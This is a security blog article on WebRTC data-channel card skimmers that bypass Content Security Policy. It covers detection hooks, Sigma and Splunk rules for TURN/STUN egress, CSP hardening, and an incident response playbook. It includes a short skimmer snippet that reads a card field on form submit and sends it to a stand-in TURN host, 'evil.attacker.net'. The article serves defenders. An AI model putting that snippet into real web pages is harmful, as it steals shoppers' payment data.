WebRTC Skimmer Bypasses CSP to Steal Payment Data from E-Commerce Sites

Author: Alex Hanley, Principal Application Security Engineer (17 years, DevSecOps Lead @ FinTech, SRE teams at major payments vendors, PCI Forensic Investigator)
Reviewed by: M. Drake, Security Incident Response Lead
Last updated: 2024-06-14

WebRTC Skimmers vs CSP: Field Lessons From Incident Response
How WebRTC Data Channels Bypass CSP (and How Skimmers Work)
Most teams think CSP stops all client-side data exfiltration. It doesn't, and WebRTC is proof. Here’s why:
CSP (Content Security Policy) only governs resource loading in the browser—scripts, iframes, AJAX endpoints (W3C CSP 3.0 Spec), not peer-to-peer protocols.
WebRTC data channels (MDN docs) create direct, encrypted data streams between browsers (or via TURN relay servers). These connections ride outside HTTP and evade standard CORS and CSP rules. Skimmers exploit this blind spot to leak data—like credit card numbers—directly from the DOM via a side channel invisible to most monitoring.
Simplified Attack Flow:
- Skimmer gets loaded (e.g., tainted dependency, supply-chain hit, hacked third-party script).
- Script silently hooks into sensitive forms.
- On form submit:
- Collects data from DOM/input fields.
- Instantiates
RTCPeerConnectionand opens aRTCDataChannel. - Negotiates STUN/TURN relay to an attacker-controlled host.
- Streams harvested data—undetected by CSP, WAF, or HTTP logs.
Why CSP Misses It:
CSP never inspects or limits ICE/STUN/TURN signaling or WebRTC peer media/data connections. Unless you monitor outbound connections at the network edge, you’ll never see it.
Technical Artifact – Minimal Skimmer Sequence (Pseudo-code):
// Hooks on sensitive fields, opens DataChannel on submit:
const pc = new RTCPeerConnection({ iceServers: [{ urls: 'turn:evil.attacker.net' }] });
const dc = pc.createDataChannel('skimmer');
form.addEventListener('submit', (e) => {
const card = document.querySelector('input[name="cc"]').value;
dc.send(card); // Outbound over TURN, not HTTP!
});
Real-World Timeline: How Supply Chain Gets You
Incident (2023, Major B2B SaaS, sanitized):
- T+0: NPM update pulls minor React widget update (internal dependency review missed a new sub-dependency).
- T+4 days: Widget loads tainted script that imports a copy-pasted "helper" skimmer with hidden WebRTC logic.
- T+5 days: Skimmer listens for form events, exfiltrates credentials via attacker TURN server.
- Detection: Traffic spike to unknown UDP relay. SIEM blind.
- Remediation: All 3rd-party scripts killed; build-immutable lockfiles enforced; attack stopped.
References:
Browser and Platform Constraints: What Actually Applies
- CSP: Can limit script sources. Does not restrict WebRTC/peer connections.
- Permissions-Policy: (MDN) Can disable camera/mic/geolocation, but not fine-grained WebRTC datachannel access.
- IFrames: To isolate risky scripts, use
<iframe sandbox allow-scripts allow-same-origin>and, if handling payments via iframes, applyallowpaymentrequestonly if required (MDN: Payment Request in iframes). - Deprecation Alert: CSP’s
require-sri-foris not widely supported. Use script nonces/integrity attributes and minimize allowed sources instead.
Concrete Detection: Instrumentation and Log Analysis
1. Instrumentation (Client-Side):
Hook browser RTCPeerConnection creation. This identifies unexpected peer/data channel usage.
Example snippet:
// Log all PeerConnection creations and DataChannels, e.g. for RASP or telemetry
const OriginalRTCPeerConnection = window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
console.warn('RTCPeerConnection created:', args);
return new OriginalRTCPeerConnection(...args);
};
2. Splunk/Sigma Monitoring Patterns:
- Sigma Rule Example:
title: Suspicious WebRTC DataChannel to Unusual TURN Host
logsource:
product: proxy
detection:
selection:
dst_port: [3478, 5349] # Default TURN/STUN ports
dest_ip: [!known_good_relay_ips]
condition: selection
- Splunk Query Example:
index=proxy OR index=fw
"CONNECT" AND (port=3478 OR port=5349) NOT dest_ip IN (KNOWN_TURN_RELAYS)
Look for spikes in TURN/STUN UDP egress, especially to IPs not tied to your application or SaaS providers.
3. What to Log:
RTCPeerConnectioninstantiations and SDP offer/answer payload metadata.- TURN/STUN server IPs, connection times, and transported bytes.
- DOM events preceding network traffic (ex: form submissions → peer connection spike).
Hardening CSP, Dependencies, and Browser Permissions
1. Robust CSP Example:
Content-Security-Policy:
script-src 'self' https://trusted.cdn.com 'nonce-<random>';
object-src 'none';
connect-src 'self' https://api.trustpay.com;
- Rely on nonces and explicit allowlists. Remove all
unsafe-inline,unsafe-eval. - Audit real world headers: OWASP CSP Cheat Sheet
2. Lock Down WebRTC Egress:
- List all
iceServers(STUN/TURN) endpoints and restrict access via firewall/ACL to only approved providers. - Require TURN authentication (RFC 5766 §2.3) and enforce TCP/TLS for relays.
- Consider disabling WebRTC in browsers where not required via policy tools or extensions.
3. Tame Third-Party Scripts:
- Host critical JS locally.
- Apply Subresource Integrity (MDN SRI).
- Review all external scripts and supply-chain scan using tools like Snyk, npm audit, or OWASP Dependency-Check.
- Isolate payment and untrusted content in sandboxed iframes with minimal permissions.
4. Organizational Controls:
- Bake dependency "allowlists" into build pipelines.
- Enforce lockfile review and integrity for npm/yarn/pnpm.
- For PCI DSS, Section 6.4.3 explicitly requires script integrity management (PCI DSS v4.0).
Incident Response Playbook: Detect, Contain, Recover
What to do if you suspect a WebRTC-based skimmer:
Detection:
- Pull logs: browser console, proxy/WAF netflow, CDN request logs, TURN host connections.
- Hunt for:
- Unfamiliar STUN/TURN IPs
- Form submissions closely followed by peer connections/SIP ops
- Data channel traffic matching sensitive data patterns (credit card #s, credentials)
Containment:
- Disable all non-essential 3rd-party scripts.
- Block outbound UDP/TCP to suspicious TURN hosts at edge firewalls.
- Rotate affected credentials/tokens.
- Notify incident response and legal as per disclosure policy.
Remediation:
- Lock and rebuild dependency trees from a trusted state.
- Implement stronger CSP with nonces and allowlists.
- Add continuous SCA scans + supply-chain integrity alerts.
- Draft customer notification templates that comply with local breach disclosure laws.
Reference Case:
What Now? Action Items By Role
Developers:
- Implement strict CSP and dependency constraints.
- Instrument code for suspicious RTCPeerConnection usage.
Security Engineers:
- Monitor proxy/firewall logs for TURN/STUN anomalies.
- Set up SIEM rules for WebRTC patterns.
Infrastructure:
- Whitelist only approved TURN/STUN relays.
- Block egress by default.
Executives:
- Validate incident response playbook for data exfiltration.
- Fund supply chain and client-side monitoring upgrades.
You can either build for trust, or you can spend your weekends trawling through logs and post-breach forensics. Still betting your third-party scripts and default settings won’t burn you? History disagrees.